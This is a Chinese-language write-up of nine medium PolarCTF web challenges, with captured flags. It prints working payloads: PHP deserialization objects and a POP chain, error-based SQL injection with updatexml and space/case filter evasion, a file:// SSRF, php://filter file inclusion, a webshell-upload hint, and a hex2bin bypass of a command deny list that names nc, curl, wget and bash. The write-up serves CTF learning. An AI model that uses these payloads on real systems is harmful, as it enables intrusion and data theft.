polar-web部分中等题目
1.随机值
<?php
include "flag.php";
class Index{
private $Polar1;
private $Polar2;
protected $Night;
protected $Light;
function getflag($flag){
$Polar2 = rand(0,100);
if($this->Polar1 === $this->Polar2){
$Light = rand(0,100);
if($this->Night === $this->Light){
echo $flag;
}
}
else{
echo "Your wrong!!!";
}
}
}
if(isset($_GET['sys'])){
$a = unserialize($_GET['sys']);
$a->getflag($flag);
}
else{
highlight_file("index.php");
}
?>
代码审计:
这是个反序列化加强比较的问题
关键点就是:
Index 类的 4 个属性:
private $Polar1;
private $Polar2;
protected $Night;
protected $Light;
比较条件(getflag 函数):
第一步:$this->Polar1 === $this->Polar2
第二步:$this->Night === $this->Light
绕过方法:
让 Polar1 和 Polar2 相等且类型相同(比如全为 null),
让 Night 和 Light 相等且类型相同(也全为 null)。
反序列化构造:
不需要处理 private/protected 的属性名里的 \x00,只需要直接用普通字符串写属性名,PHP 会自动映射到正确的属性上,因为 unserialize 可以接受这种简化格式(如果 classes 匹配)。
你的 Payload 正好做到了:
O:5:"Index":4:{s:6:"Polar1";N;s:6:"Polar2";N;s:5:"Night";N;s:5:"Light";N;}
触发:
通过 GET 参数 sys 传递 Payload:
?sys=O:5:"Index":4:{s:6:"Polar1";N;s:6:"Polar2";N;s:5:"Night";N;s:5:"Light";N;}
最后得到flag:flag{d81f9c1be2e08964bf9f24b15f0e4900}
2.phpurl
下载附件内容如下
在某次渗透测试中,红队使用网站目录探测工具发现网站源码泄漏,该文件名疑似名被加密:aW5kZXgucGhwcw。
base64解码拿到index.phps
访问http://a4afc641-7c5f-4ad6-a715-b52210cc0a73.www.polarctf.com:8090/index.phps
<?php
if("xxs"===$_GET[sys]) {
echo("<p>Not a good idea!</p>");
exit();
}
$_GET[sys] = urldecode($_GET[sys]);
if($_GET[sys] == "xxs")
{
echo "<p>Welcome to polar LABS!</p>";
echo "<p>Flag: XXXXXXX </p>";
}
?>
代码审计:
$_GET[sys] = urldecode($_GET[sys]);
if($_GET[sys] == "xxs")
{
echo "<p>Welcome to polar LABS!</p>";
echo "<p>Flag: XXXXXXX </p>";
}
重点就是这个先要强比较后弱比较,直接让xxs以urlcode编码再用get方式传参进去就行
只要让sys不等于xxs就行,可以直接编码,后面再urlcode编码就应该可以
%25%37%38%25%37%38%25%37%33(双重编码)
3.search
一般的sql注入第一步是先看注入点
测试1:?id=1 and 1=1--+
原始查询:SELECT * FROM users WHERE id = '1' LIMIT 1
注入后: SELECT * FROM users WHERE id = '1' and 1=1-- ' LIMIT 1
and 1=1 永远为真
-- 是SQL注释,后面的内容被忽略
+ 在URL中通常被编码为空格
预期结果:页面正常显示ID=1的内容
测试2:?id=1 and 1=2--+
SELECT * FROM users WHERE id = '1' and 1=2-- ' LIMIT 1
and 1=2 永远为假
预期结果:页面不显示任何内容(或显示不同)
测试看是否带有单引号,双引号
当输入 1' 时,应用返回了详细的 MySQL 错误信息,这暴露了:
数据库类型:MySQL
查询结构:使用了 LIMIT 1
过滤机制:应用可能添加了额外的引号
然后用order by来查询列数
先确定字段数:
1' order by 1--+ -- 正常
1' order by 2--+ -- 正常
1' order by 3--+ -- 正常
1' order by 4--+ -- 如果报错,说明只有3个字段\
可能有空格的过滤,用/**/对于空格的补充,1'/**/order/**/by/**/1--+(1'/**/order/**/by/**/1#)
最后发现列数为5
然后使用报错查询其中的数据库资料
UpdateXml函数详解
updatexml(XML_document, XPath_string, new_value)
三个参数:
1:第一个参数,随便写,只要格式正确
concat(0x7e,database(),0x7e):XPath表达式,故意让它错误
1:第三个参数,随便写
1'/**/and/**/updatexml(1,concat(0x7e,database(),0x7e),1)# # 获取数据库名 1'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)# # 获取版本 1'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)# # 获取当前用户 1'/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)#
再尝试大写的UPDATEXML
1'/**/and/**/UPDATEXML(1,concat(0x7e,database(),0x7e),1)#出现了Error executing query: XPATH syntax error: '~CTF~',成功获取到数据库名:CTF!
然后去尝试得到表列的数据
尝试直接获取所有表的数据
1' and UPDATEXML(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CTF'),0x7e),1)#
大小写混写:1'/**/and/**/UpdateXml(1,Concat(0x7e,(SelEct/**/group_Concat(Table_name)From/**/information_schema.tables/**/Where/**/table_schema=database()),0x7e),1)#
然后再去里面得到Flag的信息
1'/**/and/**/UpdateXml(1,Concat(0x7e,(SelEct/**/group_Concat(Column_name)From/**/information_schema.columns/**/Where/**/table_name='Flag'/**/and/**/table_schema=database()),0x7e),1)#1'/**/and/**/UpdateXml(1,Concat(0x7e,(Select/**/group_Concat(Flag)/**/From/**/Flag),0x7e),1)#
截取长度
1'/**/and/**/UpdateXml(1,Concat(0x7e,(Select/**/substr((group_Concat(Flag)),1,31)/**/From/**/Flag),0x7e),1)#
flag{Polar_CTF_426891370wxbglbn'
1'/**/and/**/UpdateXml(1,Concat(0x7e,(Select/**/substr((group_Concat(Flag)),32,60)/**/From/**/Flag),0x7e),1)#
Error executing query: XPATH syntax error: '~fwaq}~'
最后拼接:flag{Polar_CTF_426891370wxbglbnfwaq}
总结:
4.file
dir扫描
然后上传图片码或者直接上传一句话木马但是要修改type值
就能得到flag
5.PlayGame
<?php /* PolarD&N CTF */ class User{ public $name; public $age; public $sex; public function __toString() { return "name:".$this->name."age:".$this->age."sex:".$this->sex; } public function setName($name){ $this->name=$name; } public function setAge($age){ $this->$age=$age; } public function setSex($sex){ $this->$sex=$sex; } } class PlayGame{ public $user; public $gameFile="./game"; public function openGame(){ return file_get_contents($this->gameFile); } public function __destruct() { echo $this->user->name."GameOver!"; } public function __toString(){ return $this->user->name."PlayGame ". $this->user->age . $this->openGame(); } } if(isset($_GET['polar_flag.flag'])){ unserialize($_GET['polar_flag.flag']); }else{ highlight_file(__FILE__); }完整的链子应该是:
外层的 PlayGame.__destruct() ↓ echo $this->user # 如果 $this->user 是 PlayGame 对象 ↓ 内层的 PlayGame.__toString() ↓ 内层的 PlayGame.openGame() # 读文件
PlayGame.__destruct -> User.__toString -> PlayGame.__toString -> PlayGame.openGame()
最后ai出来就是?polar[flag.flag=O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";N;}
flag{bcbad1a16895974105e8450b8a7b5bf2}
6.csdn
/index.php/index.php?xxs=https://blog.csdn.net/这是个xxs跳转然后他说
| <!-- 偷偷告诉你,flag在flag目录下的flag.txt中 --> |
直接xxs到flag.txt中
view-source:http://e016a46c-43d2-4c3b-82f7-77f473c31a75.www.polarctf.com:8090/index.php/index.php?xxs=file:///flag.txt
flag{4787370fb09bd230f863731d2ffbff6a}
7.Dragon
cookie值:flag{72077a551386b19fb1aea77814cd41af}
8.tnl
看到了相似的输入框,再去看看cookie等值发现没有
然后尝试输入1,2,3
当我输入3的时候You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1
输入1' or '1'='1和1' or '1'='2
输入1 or 1=1 和1 or 1=2
输入1" or "1"="1"和1" or "1"="2"
都是同样的页面我觉得应该不是sql注入
再去尝试xss注入<script>alert('XSS')</script>也没有
实在没辙了dir扫一扫
然后去访问发现没有回显,那就伪协议直接用
twothree=php://filter/read=convert.base64-encode/resource=flag.php
发现没反应就挨着挨着试试
twothree=php://filter/read=convert.base64-encode/resource=index
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>这题不难哦</title>
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background-color: #f3f3f3;
margin: 0;
display: flex;
align-items: center;
justify-content: center;
height: 100vh;
}
form {
background-color: #fff;
border-radius: 8px;
box-shadow: 0 0 20px rgba(0, 0, 0, 0.1);
padding: 20px;
max-width: 400px;
width: 100%;
box-sizing: border-box;
transition: transform 0.3s ease-in-out;
}
form:hover {
transform: scale(1.02);
}
label {
display: block;
margin-bottom: 10px;
color: #333;
font-size: 16px;
}
input {
width: calc(100% - 16px);
padding: 12px;
margin-bottom: 20px;
box-sizing: border-box;
border: 1px solid #ccc;
border-radius: 4px;
font-size: 14px;
}
input[type="submit"] {
background-color: #4caf50;
color: white;
cursor: pointer;
font-size: 16px;
}
input[type="submit"]:hover {
background-color: #45a049;
}
.error {
color: red;
margin-top: 15px;
font-size: 14px;
}
/* Background Style */
body {
background-image: url('back.jpg');
background-size: cover;
background-position: center;
background-attachment: fixed;
}
</style>
</head>
<body>
<form action="" method="post">
<label for="twothree">Please input your ID:</label>
<input type="text" id="twothree" name="twothree" required>
<br>
<input type="submit" value="Submit">
</form>
<?php
error_reporting(0);
@$file = $_POST['twothree'];
if(isset($file))
{
if( strpos( $file, "1" ) !== false || strpos( $file, "2" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1";
}
}
?>
源码分析:
@$file = $_POST['twothree']; // 从 POST 获取参数 if(isset($file)) { // 检查是否包含 "1" 或 "2" 或 "index" if( strpos( $file, "1" ) !== false || strpos( $file, "2" ) !== false || strpos( $file, "index")) { include ($file . '.php'); // 自动加上 .php 后缀 } else { // 显示那个 SQL 错误作为欺骗 echo "You have an error in your SQL syntax..."; }必须是 POST 请求,不能用 GET
文件名必须包含 "1" 或 "2" 或 "index"才能通过检查
自动添加
.php后缀那个 SQL 错误信息是假的,用来误导人
twothree=php://filter/convert.base64-encode/index/resource=flag
这道题过于抽象了flag{29dba9019e40d75a5053b15f4f2906e1}
9.你知道sys还能这样玩吗
进入http://43c12804-c9cb-4c38-b8b5-4b900ccf01b3.www.polarctf.com:8090/sys.php
<?php
show_source(__FILE__);
if(isset($_POST['cmd'])){
echo "<pre>";
$cmd = $_POST['cmd'];
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i', $cmd)) {
$output = system($cmd);
echo $output;
}
echo "</pre>";
}
?>
代码审计:
当看到限制了这么多命令的时候只有想着进制转换
cmd=php -r 'system(hex2bin("636174202f666c61672e747874"));'
PHP 执行 hex2bin("636174202f666c61672e747874") → 得到 "cat /flag.txt"
PHP 执行 system("cat /flag.txt") → 读取 flag 文件
输出文件内容
flag{196b0f14eba66e10fba74dbf9e99c22f}
第一页的中等题目
